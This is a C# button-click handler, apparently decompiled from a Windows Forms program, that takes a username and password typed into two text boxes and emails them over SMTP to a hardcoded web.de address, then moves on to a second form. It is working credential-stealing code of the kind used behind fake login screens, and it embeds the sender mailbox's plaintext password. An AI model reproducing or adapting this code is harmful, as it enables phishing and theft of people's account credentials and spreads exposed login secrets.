private void Button1_Click(object sender, EventArgs e)
{
    if ((this.TextBox1.Text == "") && (this.TextBox2.Text == ""))
    {
    }
    SmtpClient client = new SmtpClient();
    MailMessage message = new MailMessage();
    client.Credentials = new NetworkCredential("Sainthelpyou@web.de", "krankheit");                 //And another time
    client.Port = 0x24b;
    client.Host = "smtp.web.de";
    client.EnableSsl = true;
    message = new MailMessage();
    message.From = new MailAddress("Sainthelpyou@web.de");
    message.To.Add("Sainthelpyou@web.de");
    message.Subject = "Username: " + this.TextBox1.Text;
    message.Body = "Username : " + this.TextBox1.Text + ", Password : " + this.TextBox2.Text;
    client.Send(message);
    MyProject.Forms.Form2.Show();
    this.Hide();
}